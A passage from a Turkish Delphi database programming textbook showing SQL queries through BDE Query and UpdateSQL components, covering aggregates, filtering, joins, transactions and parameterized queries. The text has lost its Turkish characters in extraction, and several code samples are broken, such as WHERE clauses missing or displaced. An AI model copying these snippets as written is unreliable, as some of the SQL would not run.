Program altrrsanz yukarda ki pencerede grld gibi sadece tek bir hcre deerinden oluan sorgu sonucunu grebilirsiniz. Stundaki En Kk Deeri Bulmak(Min): Tablonuzdaki bir stuna ait en kk deeri hesaplamak iin Min komutundan faydalanmaktayz. Aada bu komuta ait rneklendirme gerekletirilmitir. procedure TForm3.FormCreate(Sender: TObject); //en yksek maa bul begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MIN(FATURATUTARI) MAXIMUM_MIKTAR From SERVIS'); Query1.Open; end; Program altrrsanz aada ki pencerede grld gibi sadece tek bir hcre deerinden oluan sorgu sonucunu grebilirsiniz. Bu deer o stuna ait minimum deere sahiptir.

84

Stun Toplamn Bulmak(Sum): Saysal ierikli stunlara ait deerleri toplatmak iin kullanlan SQL Komutudur. Aada bu komuta ait rneklendirme yaplmaktadr.

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select SUM(FATURATUTARI) FATURA_TOPLAMI From SERVIS'); Query1.Open; end;

85

Stun Ortalamasn Hesaplatmak(Avg): Saysal ierikli stunlara ait deerlerin ortalamasn hesaplamak iin kullanlan SQL Komutudur. Aada bu komuta ait rneklendirme yaplmaktadr.

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select AVG(FATURATUTARI) ORTALAMA_TUTAR From SERVIS'); Query1.Open; end; Kayt Saysn Bulmak(Count): Tablonuzdaki kayt saysn (veya kriterinize uyan kayt saysn)renebilmek iin kullanabileceiniz sorgu komutudur. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select COUNT(MAGAZAADI) KAYIT_SAYISI From SERVIS'); Query1.Open; end;

86

Gruplandrma Yapmak(Group By): Ayn maazaya yaplm olan servislerin tamamn tek kalemde gstermek iin kullanlabilecek olan yapdr. Gruplandrma ilemini yaparken dikkatli olmanz mantksz gruplandrma ilemleri yapmamanz tavsiye ederim.

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZAADI,SUM(FATURATUTARI) MAGAZA_TOPLAMI From SERVIS Group By MAGAZAADI'); Query1.Open; end;

87

Sorgu sonucuna dikkat edecek olursanz, gerekten de tm maazalara yaplm olan servis miktarlar tek kalemde doru bir ekilde hesaplattrlp yazdrlmtr. Gruplandrlm Stunlara Koul Koymak(Having): Yukardaki tablo iin, amiriniz sizden toplam fatura tutar iinde bir kriter belirleyip sonucu ona gre listelemenizi istese ne yaparsnz. SQL sorgular iin, gruplandrlm sorgulara koul koymak ancak Having komutuyla gerekletirilebilmektedir. Aada bu husus rneklendirilmektedir.

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZAADI,SUM(FATURATUTARI) MAGAZA_TOPLAMI From SERVIS Group By MAGAZAADI Having Sum(FATURATUTARI)>150000000'); Query1.Open; end; rnekte de grld gibi Having yaps sayesinde gruplandrlarak oluturulmu olan sorgu sonucuna kolayca koul konulabilmektedir. Yukardaki iki sonucu karlatracak olursanz, grup toplam 150.000.000 TL den az olanlarn ikinci raporda listelenmediini greceksiniz. Bu komutlar arayp ta bulamayacanz trden korkun derecede etkili yaplardr. Bu yzden kullanmna ait mant ltfen dikkatlice takip ediniz. Hatrlatmakta fayda var Gruplama yapmadan asla Having yapsn kullanamazsnz. nce Group By komutu ile tabloyu gruplandrn, ardndan Having komutunu kullanarak koulunuza uyan kaytlarnz listeletin. 88

Sorguya Koul Koymak(Where): Oluturacanz sorguya satr bazl koul koymak iin kullanlan SQL Komutudur. Sanyorum en ok kullanacanz (Select ten sonra) komut bu olacaktr. Sizden istenecek olan sadece MIGROS maazasna ait kaytlar, veya u miktarn zerindeki kaytlar listeleme ilemini gerekletirebileceiniz komuttur. Aada bu komuta ait rneklendirmeler yaplmaktadr. procedure TForm3.FormCreate(Sender: TObject); //Kriter koy begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI="MIGROS"'); Query1.Open; end;

Sorgu sonucuna dikkat edecek olursanz sadece MIGROS Maazalarna yaplm olan servislerin listelendiini greceksiniz. ayet koulu saysal bir veri ieren stuna koyacaksanz o zaman kodunuzu aadaki ekilde deitirmelisiniz. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close;

89

Query1.SQL.Add('Select * From SERVIS Where FATURATUTARI>=80000000'); Query1.Open; end;

Ayn Anda Birden Fazla Koulu Salamak(In): nceki tablomuz iin maaza ad MIGROS ve fatura tutar 125.000.000 den byk olanlar listelemeye alalm. Dikkat edin iki artn ikiside salanmak zorunda olacaktr.

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; 90

Query1.Close; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI="MIGROS" and FATURATUTARI>=80000000'); Query1.Open; end; Kriterler arasna and operatr koyarak istediiniz kadar art belirleyebilirsiniz. ayet bu ilem sizin iin skc olursa, ve tek stun iin birden fazla koul koyacaksanz, aadaki kodlamay da kullanabilirsiniz. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where in("MIGROS","DIA")'); Query1.Open; end;

MAGAZAADI

In Komutunu ve araya , karakterini koyarak ayn stun iin istediiniz kadar kriteri yanyana belirtebilirsiniz. Delphi sorgulamada hepsine dikkat edecektir. Ayn Anda Birden Fazla artn Salanmamas(Not In): Bu sefer de maaza ad MIGROS ile DIA olmayanlar listelemeye alalm. SQL Sorgunuz aadaki ekilde olmaldr. Tek deitireceiniz blm In yerine Notin komutunu koymak olacaktr.

91

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Not in("MIGROS","DIA")'); Query1.Open; end;

Program altrrsanz yukardaki pencerede gzkt gibi ierisinde MIGROS ve DIA maazalarna yaplan servislerin dahil edilmedii bir raporla karlarsnz. artlardan Sadece Bir Tanesinin Yeterli Olmas(Or): Belirteceiniz kriterlerden sadece bir tanesinin doru olmasnn (en az bir tanesinin) yeterli olduu sorgu komutudur. Kullanmna ait rneklendirme aada verilmektedir. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS MAGAZAADI="MIGROS" or MAGAZAADI="DIA"'); Query1.Open; end;

Where

92

Sonuca dikkat edecek olursanz maaza ad MIGROS veya DIA olan maazalarn tamam listelenmitir. Aralk Sorgulamak(Between): Aadaki yntemlerle bir stuna ait aralk deerine gre sorgulama yapabilirsiniz.

Programa ait SQL Sorgusu aada verilmektedir. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close;

93

Query1.SQL.Add('Select * From SERVIS Where FATURATUTARI>=85000000 AND FATURATUTARI<=150000000'); Query1.Open; end; Ayn ilevi gerekletiren kodu aadaki ekilde de yazdrabilirsiniz. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where FATURATUTARI Between 85000000 AND 150000000'); Query1.Open; end; e Select fadesi Kullanmak: Select ifadeleri istenirse i ie kullanlabilmektedir (belli bir mantk erevesinde). Daha nceki SQL komutlarn kullanarak MAX fatura tutarn hesaplatmtk. imdi ise MAX Fatura tutarnn yapld maazaya ait kayd belirlemeyi deneyeceiz. Aada bu husus rneklendirilmektedir.

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where FATURATUTARI=(Select Max(FATURATUTARI) From SERVIS)'); Query1.Open; end;

94

imdi de ayn mant kullanarak, ortalama fatura tutarnn altndakileri listeletelim.

Stun erisinde Arama Yapmak(Like): Aranacak ieriin ok uzun olmas durumunda, veya ieriin tam olarak hatrlanamamas gibi durumlarda kullanmanz gereken SQL komutudur. Aadaki rnekler tm kullanm eitlerine deinmektedir.

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like "MIGROS"'); Query1.Open; end; 95

Yukardaki kriterin MAGAZAADI=MIGROS tan hi bir fark yoktur. Sadece MIGROS maazalarn listelemek iin kullanlr. ayet sorguyu aadaki ekilde joker karakter kullanarak deitirirseniz, o zaman olay ok farkl bir durum alacaktr. rnei dikkatlice inceleyiniz.

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like "G%"'); Query1.Open; end; Sonuca dikkat edin G ile balayan tm maaza servisleri sorguda gzkmektedir. ayet hcre deerinin herhangi bir parasna gre aratma yaptracaksanz o zaman da sorguya ait kodunuzu aadaki ekilde deitirmeniz gerekecektir. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Like "%G%"'); Query1.Open; end; 96

Sorguda Like ile kullanlan kritere dikkat edin, ierisinde G harfi olan tm maaza servisleri listelenmektedir (bata veya sonda olmas nem arz etmemektedir).

Burada sadece karakter aratmas yaptrmak zorunda deilsiniz Dilerseniz daha deiik ekilde Like %MIG% yazp string parasda arattrabilirsiniz. ki Tabloyu Ayn Anda Sorgulamak: Tek bir sorgu ierisinde birden fazla tablo verisini birletirmeniz mmkndr. Dikkat etmeniz gereken bir ka pf noktas olacak, imdi bu noktalara dikkatinizi ekmek istiyorum. Birincisi birden fazla tabloyu sorgulayacanz iin stun isimlerini, ba taraflarna tablo ismini yazarak belirtmelisiniz. Tablo ismiyle stun ismi arasnda . Karakteri kullanmalsnz. MAGAZA.MAGAZAADI eklinde yaplacak olan bildirim, Maaza tablosundaki maaza ad stununu ifade edecektir. From komutundan sonra sorguda kullandnz tm tablo isimlerini araya , koyarak tek tek belirtmelisiniz. Aksi takdirde veri arayaca tablolarda problem yaayacaktr. Son adm olarak koul ksmnda, tablolar arasnda ilikili iki stunu tablo adlaryla beraber belirtmeniz gerekecektir. Aadaki sorgulamada, MAGAZA tablosundaki stunlar ile SERVIS tablosundaki stunlar arasndan seim yaplmakta, iki tablo arasnda MAGAZAADI stun deerleri eletirilerek aradaki balant salanmaktadr. Uygulamaya ait sorgu sonucu ile sorgu komutlar aada verilmektedir.

97

procedure TForm3.FormCreate(Sender: TObject); //Birden fazla tabloyu sorgulamak begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZA.MAGAZAADI, MAGAZA.ADRES, MAGAZA.SEHIR,SERVIS.SERVISTARIHI,SERVIS.FATURATUTARI From MAGAZA,SERVIS Where MAGAZA.MAGAZAADI=SERVIS.MAGAZAADI'); Query1.Open; end;

Sonu penceresinde grld gibi ilk stun MAGAZA Tablosundan son iki stun da SERVIS tablosundaki verilerden elde edilmektedir. Aradaki ilkiyi belirleyen stun ismi ise MAGAZAADI stunu olmaktadr. Inner Join Komutu le Koul Koymak: Bu komut ile farlkl iki tablo ierisinde koul sutunlar ortak olan alanlar listelemek iin kullanlr. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select SERVIS.MAGAZAADI,SERVIS.SERVISTARIHI, SERVIS.FATURATUTARI From SERVIS INNER JOIN MAGAZA ON(MAGAZA.MAGAZAADI= SERVIS.MAGAZAADI)'); Query1.Open; end; 98

Yukardaki SQL komutlar iletildikten sonra tablo grntnz aadaki ekilde gerekleecektir.

Kaytlara dikkat edecek olursanz, listelenen stunlarn SERVIS tablosuna ait olduklarn hemen farlk edeceksiniz. Peki ama SERVIS tablosundaki hangi kaytlar listelenmitir. Bu art Inner Join komutundan sonraki blmde belirtilen MAGAZA tablosundaki maaza isimlerine ait servis bilgileri olarak gerekleecektir. Outer Join Komutu le Koul Koymak: Farkl iki tabloda ayn olan stunlar iin birincide yer alp ikincide bulunmayan kaytlar listelemek iin kullanlan komuttur. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select SERVIS.MAGAZAADI,SERVIS.SERVISTARIHI, SERVIS.FATURATUTARI From SERVIS LEFT OUTER JOIN MAGAZA ON(MAGAZA.MAGAZAADI=SERVIS.MAGAZAADI)'); Query1.Open; end; Yukardaki SQL sogusunu ieren program altrrsanz aadaki ekilde kaytlarn yer ald bir tablo grntsyle karlarsnz.

99

veya procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select SERVIS.MAGAZAADI,SERVIS.SERVISTARIHI,SERVIS.FATURATUTARI From SERVIS RIGHT OUTER JOIN MAGAZA ON(MAGAZA.MAGAZAADI=SERVIS.MAGAZAADI)'); Query1.Open; end;

Bu sorguda RIGHT OUTER JOIN kullanldna dikkat ediniz. Program altrdktan sonraki tablo grntnz yukarda verilmitir. 100

Union Komutunu Kullanarak Tablolar Birletirmek: Bu komutu kullanarak iki farkl select yaps oluturabilirsiniz. Oluturacanz iki sorguya ait kaytlar alt alta eklenerek tek tabloda gsterilecektir.

procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZA.MAGAZAADI UNION Select SERVIS.MAGAZAADI From SERVIS'); Query1.Open; end;

From MAGAZA

101

Tablo Yapsnda Deiiklik Yapan Sorgular: u ana kadar yapm olduumuz tm sorgular seme sorgularyd ve Select ifadesiyle balyorlard. Bu tr seme sorgular tablo yapsnda herhangi bir deiiklik yapmazlar. Sadece iimize yarayacak olan kaytlar listeleme ileminde kullanlrlar.Bu aamadan sonraki sorgu komutlar ise direk tablo da deiiklik yapacaklardr, bu yzden komutlar kullanrken ok dikkatli olmanz gerekecektir. Aada tablo yapsnda deiiklik yapacak olan sorgular tek tek incelenmektedir. Sorgu ile kaytlar zerinde deiiklik yapmak iin (ekleme,silme,deitirme) UPDateSQL kontrol kullanlmaktadr. UpdateSQL Kontrol: BDE Yapranda bulunan bu kontrol sayesinde, SQL komutlarn kullanarak tablonuzda istediiniz ilemi yapabilirsiniz. Kayt ekleme,silme veya kayt deitirme ilemleri iin kullanlmaktadr. UpdateSQL1.DeleteSQL.Add Tablodan kayt silmek iin kullanacanz SQL komutunu bu zellie aktarmalsnz. procedure TForm4.Button3Click(Sender: TObject); //Kayt Sil begin UpdateSQL1.DeleteSQL.Add('Delete From MAGAZA MAGAZAADI="MIGROS"'); end; UpdateSQL1.ExecSQL() SQL Komutunu yazmak kaydn silinmesi iin yeterli deildir. Ayrca sorgu komutunu uygulamak iin bu methoda ihtiyacnz olacaktr. procedure TForm4.Button3Click(Sender: TObject); begin UpdateSQL1.DeleteSQL.Add('Delete From MAGAZA MAGAZAADI="MIGROS"'); UpdateSQL1.ExecSQL(ukDelete);//Uygula end; 102

Where

Where

Sorguyla Kayt Silmek(Delete): Aadaki rnekte sorgu komutlar kullanlarak tablodan kayt silinmektedir. Silinen kaytlar ayet Trasaction kullanlmazsa artk geriye alnamayacaktr. Hatrlatalm sorguyla kayt silme ileminde kritere uyan tm kaytlar silinecektir. ncelikle verilen tasarm oluturunuz.

Query-DataSource-DataGrid nesneleri iin daha nceden gsterilen ayarlar yaparak MAGAZA tablosundaki tm kaytlarn DataGrid nesnesinde gsterilmesini salayn. Daha sonra formun zerine bir adet BDE Yapranda yer alan (Transaction ilemi iin) DataBase kontrolnden yerletirin (hi bir zelliini deitirmenize gerek yok tamamn kodla yapacaz). Son adm olarak formunuza bir adet BDE Yapranda yer alan UpdateSQL kontrolnden yerletirerek aadaki kodlar programnza ekleyiniz. Burada hatrlatmakta yarar var. ster kodla yapn (kodu her zaman tercih etmelisiniz), isterseniz Object Inspector penceresinden, UpdateSQL kontrolne eklenecek sorgu komutunun (ekleme-silme-deitirme) hangi Query kontrolnn gsterdii tabloya yansyaca UpdateObject zelliiyle belirlenmelidir. Aksi takdirde yapacanz ilemlerden bir sonu alamayacaksnz.

103

procedure TForm4.FormCreate(Sender: TObject); //Kontrolleri ayarla begin Database1.DatabaseName:='gazi'; Database1.Connected:=true; DataBase1.TransIsolation:=tiDirtyRead;//ayarlayn Query1.UpdateObject:= UpdateSQL1;//yapn Query1.Open; end; procedure TForm4.Button3Click(Sender: TObject); //Sil begin Query1.CachedUpdates:=true; //kesinlikle yapn Try //hata olumazsa sil UpdateSQL1.DeleteSQL.Add('Delete From MAGAZA MAGAZAADI="MIGROS"'); UpdateSQL1.ExecSQL(ukDelete);//Uygula Database1.Commit;//Tabloya yaz ShowMessage('Kayt silindi'); Except//Hata oluursa iptal et Database1.Rollback;//iptal et ShowMessage('Silme lemi ptal Edildi'); end; end; 104

Where

procedure TForm4.Button1Click(Sender: TObject); begin if Database1.InTransaction=False Then //transaction yoksa balat Database1.StartTransaction;//Transactionu balat end; Program altrp Sil Buttonuna tklarsanz MIGROS Maazasna ait kaydn silindiini greceksiniz. En son ekran grnts aada verilmitir.

UpdateSQL1.InsertSQL.Add Kayt ekleme ilemi iin kullanacanz SQL Sorgusunu bu zellie aktarmalsnz. procedure TForm4.Button2Click(Sender: TObject); //Ekle begin UpdateSQL1.InsertSQL.Add('Insert Into MAGAZA(MAGAZAADI,ADRES,TELEFON,MUDUR,SEHIR) VALUES ("MIGROS","BOSTANCI","2163521425","YUKSEL INAN","ISTANBUL")'); end; Yukardaki kod blou kayt eklemek iin yeterli deildir. Kayt silme ileminde yaptmz gibi aadaki parametreyede deer aktarmamz gerekecektir. 105

UpdateSQL1.ExecSQL(ukInsert) Sorgu komutunun tabloya yansmasn salayan methodudur. Kayt ekleme ilemi yapld iin ukInsert parametresinin aktarlmas gerekmektedir. procedure TForm4.Button2Click(Sender: TObject); begin UpdateSQL1.InsertSQL.Add('Insert Into MAGAZA (MAGAZAADI, ADRES,TELEFON,MUDUR,SEHIR) VALUES ("MIGROS","BOSTANCI", "2163521425","YUKSEL INAN","ISTANBUL")'); UpdateSQL1.ExecSQL(ukInsert);//tabloya yanst end; Sorguyla Tabloya Kayt Eklemek: Aadaki kod blounu kullanarak kolayca tablonuza kayt ekleyebilirsiniz. rnei ltfen dikkatlice inceleyiniz. procedure TForm4.FormCreate(Sender: TObject); //Bu ayarlar yapn begin Database1.DatabaseName:='gazi'; Database1.Connected:=true; DataBase1.TransIsolation:=tiDirtyRead;//ayarlayn Query1.UpdateObject:=UpdateSQL1;//yapn Query1.Open; end; procedure TForm4.Button1Click(Sender: TObject); begin if Database1.InTransaction=False Then //transaction yoksa balat Database1.StartTransaction;//Balat end; procedure TForm4.Button2Click(Sender: TObject); begin Query1.CachedUpdates:=true; //kesinlikle yapn try UpdateSQL1.InsertSQL.Add('Insert Into MAGAZA(MAGAZAADI,ADRES,TELEFON,MUDUR,SEHIR) VALUES ("MIGROS","BOSTANCI","2163521425","YUKSEL INAN","ISTANBUL")'); UpdateSQL1.ExecSQL(ukInsert);//tabloyayanst Database1.Commit;//Uygula ShowMessage('Kayt Eklendi'); 106

except Database1.Rollback;//iptal et ShowMessage('Ekleme lemi ptal Edildi'); end; end;

Program altrp Ekle isimli buttona tklarsanz yukardaki pencerede olduu gibi (daha nceden silmitik)MIGROS kayd tekrar tabloya eklenecektir. UpdateSQL1.ModifySQL.Add Kayt deitirme ilemini gerekletirebilmeniz iin gerekli SQL kodunu aktarabileceiniz zelliidir. procedure TForm4.Button4Click(Sender: TObject); begin UpdateSQL1.ModifySQL.Add('Update MAGAZA Set MAGAZAADI="BAKKALIM" Where MAGAZAADI="SOK"'); end; Yukardaki SQL komutu sayesinde tablodaki tm SOK maazalar BAKKALIM olarak deiecektir. Yanlz aadaki parametreyide dierlerinde olduu gibi eklemelisiniz. 107

UpdateSQL1.ExecSQL(ukModify) SQL komutunun tabloya yansmas iin gerekli olan parametresidir. Kayt deitirme ilemi yapaca iin ukModify deeri aktarlmtr. procedure TForm4.Button4Click(Sender: TObject); begin UpdateSQL1.ModifySQL.Add('Update MAGAZA Set MAGAZAADI="BAKKALIM" Where MAGAZAADI="SOK"'); UpdateSQL1.ExecSQL(ukModify);//tabloya yanst end; imdi de yukardaki tasarmmz iin Deitir dmesinin kodunu verelim. procedure TForm4.FormCreate(Sender: TObject); begin Database1.DatabaseName:='gazi'; Database1.Connected:=true; DataBase1.TransIsolation:=tiDirtyRead;//ayarlayn Query1.UpdateObject:=UpdateSQL1;//yapn Query1.Open; end; procedure TForm4.Button1Click(Sender: TObject); begin if Database1.InTransaction=False Then //transaction yoksa balat Database1.StartTransaction; end; procedure TForm4.Button4Click(Sender: TObject); //Deitir begin Query1.CachedUpdates:=true; //kesinlikle yapn try UpdateSQL1.ModifySQL.Add('Update MAGAZA Set MAGAZAADI="BAKKALIM" Where MAGAZAADI="SOK"'); UpdateSQL1.ExecSQL(ukModify);//Deiiklii yanst Database1.Commit;//Uygula ShowMessage('Kayt Deitirildi'); except Database1.Rollback;//iptal et ShowMessage('Deitirme lemi ptal Edildi'); end; end;

108

Program altrp Deitir isimli buttona tklarsanz aadaki pencerede gsterildii gibi SOK isimli maazalar BAKKALIM ismiyle deitirilecektir.

imdide programa ait tm kod blounu aada veriyorum. rnei ok dikkatlice inceleyiniz. procedure TForm4.FormCreate(Sender: TObject); //Bu balantlar yapn begin Database1.DatabaseName:='gazi'; Database1.Connected:=true; DataBase1.TransIsolation:=tiDirtyRead;//ayarlayn Query1.UpdateObject:=UpdateSQL1;//yapn Query1.Open; Query1.CachedUpdates:=true; //kesinlikle yapn end; procedure TForm4.Button3Click(Sender: TObject); //Sorguyla Kayt Sil begin try UpdateSQL1.DeleteSQL.Add('Delete From MAGAZA Where MAGAZAADI="MIGROS"');//Maaza ad MIGROS olanlar sil UpdateSQL1.ExecSQL(ukDelete);//Tabloya yansz Database1.Commit;//Uygula 109

ShowMessage('Kayt silindi'); except Database1.Rollback;//iptal et ShowMessage('Silme lemi ptal Edildi'); end; end; procedure TForm4.Button1Click(Sender: TObject); begin if Database1.InTransaction=False Then //transaction yoksa balat Database1.StartTransaction;//Transactionu balat end; procedure TForm4.Button2Click(Sender: TObject); begin try UpdateSQL1.InsertSQL.Add('Insert Into MAGAZA(MAGAZAADI,ADRES,TELEFON,MUDUR,SEHIR) VALUES ("MIGROS","BOSTANCI","2163521425","YUKSEL INAN","ISTANBUL")'); UpdateSQL1.ExecSQL(ukInsert);//Ekle Database1.Commit;//Uygula ShowMessage('Kayt Eklendi'); except Database1.Rollback;//iptal et ShowMessage('Ekleme lemi ptal Edildi'); end; end; procedure TForm4.Button4Click(Sender: TObject); begin try UpdateSQL1.ModifySQL.Add('Update MAGAZA Set MAGAZAADI="BAKKALIM" Where MAGAZAADI="SOK"'); UpdateSQL1.ExecSQL(ukModify); Database1.Commit;//Uygula ShowMessage('Kayt Deitirildi'); except Database1.Rollback;//iptal et ShowMessage('Deitirme lemi ptal Edildi'); end; end; Program altrp tm dmeleri teker teker deneyin. Tamamnn baarl bir ekilde gerekletiini greceksiniz. Yaptnz ilemden sonra DataGrid nesnesi ierisinde verilerin gncellenmedii (Kapatp aarsanz gncellenir) 110

dikkatinizi ekmi olmaldr. Bu eksiklii gidermek iin aadaki gibi iki satrlk kodu eklerseniz probleminiz hallolacaktr. procedure TForm4.Button4Click(Sender: TObject); begin Query1.CachedUpdates:=true; //kesinlikle yapn try UpdateSQL1.ModifySQL.Add('Update MAGAZA MAGAZAADI="BAKKALIM" Where MAGAZAADI="SOK"'); UpdateSQL1.ExecSQL(ukModify); Database1.Commit;//Uygula Query1.Close; Query1.Open;//kaytlarn gncellenmesi iinekleyin ShowMessage('Kayt Deitirildi'); except Database1.Rollback;//iptal et ShowMessage('Deitirme lemi ptal Edildi'); end; end;

Set

Ben sadece Kayt Deitirme ilemine ekledim. Siz dier dmeye daha ekleyebilirsiniz.

111

Query Kontrolne Parametre Deeri Gndermek: ou durumda tablonuzda yer alan tm kaytlar deilde, sadece sizin iinize yarayan kaytlar listelemek isteyeceksiniz. Byle durumlarda Query kontrolne bana sadece gndereceim parametre deerine uyanlar listele demelisiniz. Bu ilemi yapmak hite zor deil. in ierisine parametre deeri girdii zaman aadaki zellik ve methodlarda renmeniz gerekmektedir. Query1.SQL.Clear Var olan Query yi kapatp tm parametreleri temizlemek iin kullanlan methoddur. procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin Query1.SQL.Clear;//parametreleri temizle end; Query1.SQL.Add Bu method daha nceden anlatlmt. Fakat burada hem sorguyu hemde parametreyi yaratacamz iin tekrar gstermemiz gerekiyor. procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); end; end; Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Kod satrnda yer alan (Where MAGAZAADI=:MAG) blm hem parametreyi hemde sorgu koulunu belirlemektedir. Daha sonraki admlarda bu parametreye programnzn ierisinden kolayca deer gnderebilirsiniz. Sorgu ierisinde parametre belirlemek iin =: karakterleri kullanlmaktadr (aslnda buradaki = kendi grevini yapyor ama beraber dnmenizin bir sakncas yor). lk parametreyi params[0] veya ismi ile kullanabilirsiniz. kinci parametreyi yaratrsanz oda params[1] olacaktr.

112

Query1.Params[] Sogu komutu ierisinde yaratlan parametrelere deer gndermek iin kullanlan methoddur. Oluturulma srasna gre ilk parametre Params[0] ikinci parametrede Params[1] deikenleriyle adlandrlacaktr. procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then begin Query1.SQL.Clear;//temizle Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=Edit1.Text;//parametreye deer al end; end; imdi aadaki tasarm oluturup (Query kontrolyle oluturun) yukardaki zellik ve methodlar rnek zerinde deneyelim.

procedure TForm2.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); 113

begin if Key=#13 Then//enter tuuna basarsa begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Query1.Params[0].AsString:=Edit1.Text;//parametreye deer yolla Query1.Open; end; end; Kodlar ekleyip programz altrn. Edit kontrolne maaza ismini girip Enter tuuna basn. Girdiiniz deer parametre olarak sorguya gnderilecek, yazdnz maaza ismini ait kaytlar listelenecektir. Query1.ParamByName Params[] deikeni yerine bu zellii kullanarak ta sorgunuza parametre deeri gnderebilirsiniz. Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Query1.ParamByName('MAG').AsString:=Edit1.Text; Yukardaki rnekte yer alan kodu aadaki ekilde deitirip uygulamanz yeniden altrn. procedure TForm2.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Edit1KeyPress(Sender: TObject; var Key: Char); begin if Key=#13 Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where MAGAZAADI=:MAG'); Query1.ParamByName('MAG').AsString:=Edit1.Text; Query1.Open; end; end;

114

Parametre Olarak Tarih erikli Deiken Kullanmak: Parametre olarak kullanacanz deikenin deeri tarih ierikli olacak ise o zaman kodlamanz aadaki ekilde deitirmelisiniz.

procedure TForm2.FormCreate(Sender: TObject); //Balant ilemleri yaplyor begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Edit2KeyPress(Sender: TObject; var Key: Char); //Tarih deikenine gre sorgula begin if Key=#13 Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where SERVISTARIHI>=:SER'); Query1.ParamByName('SER').AsDate:=StrToDate(Edit2.Text); Query1.Open; end; end; Program altrp Edit kontrolne koul tarihinizi girip Enter tuuna basn. Girdiiniz tarihten sonra yaplm olan tm servisler listelenecektir. 115

Parametre Olarak Parasal erikli Deiken Kullanmak: Parametre deeri olarak parasal deer kullanacaksanz, aadaki ekilde bir kodlama yapmalsnz.

procedure TForm2.FormCreate(Sender: TObject); //Balant iin gerekli olan kod satrlar begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('sELECT * fROM servis'); Query1.Open; end; procedure TForm2.Edit3KeyPress(Sender: TObject; var Key: Char); //Parametreye gre sorgula begin if Key=#13 Then begin Query1.SQL.Clear; Query1.SQL.Add('Select * from servis Where FATURATUTARI>=:FAT'); Query1.ParamByName('FAT').AsCurrency:=StrToCurr(Edit3.Text); Query1.Open; end; end;

116

Birden Fazla Parametre Deeri Gndermek: Oluturacanz sorguda birden fazla parametre deeri kullanacaksanz. Aadaki ekilde bir kodlama kullanmalsnz.

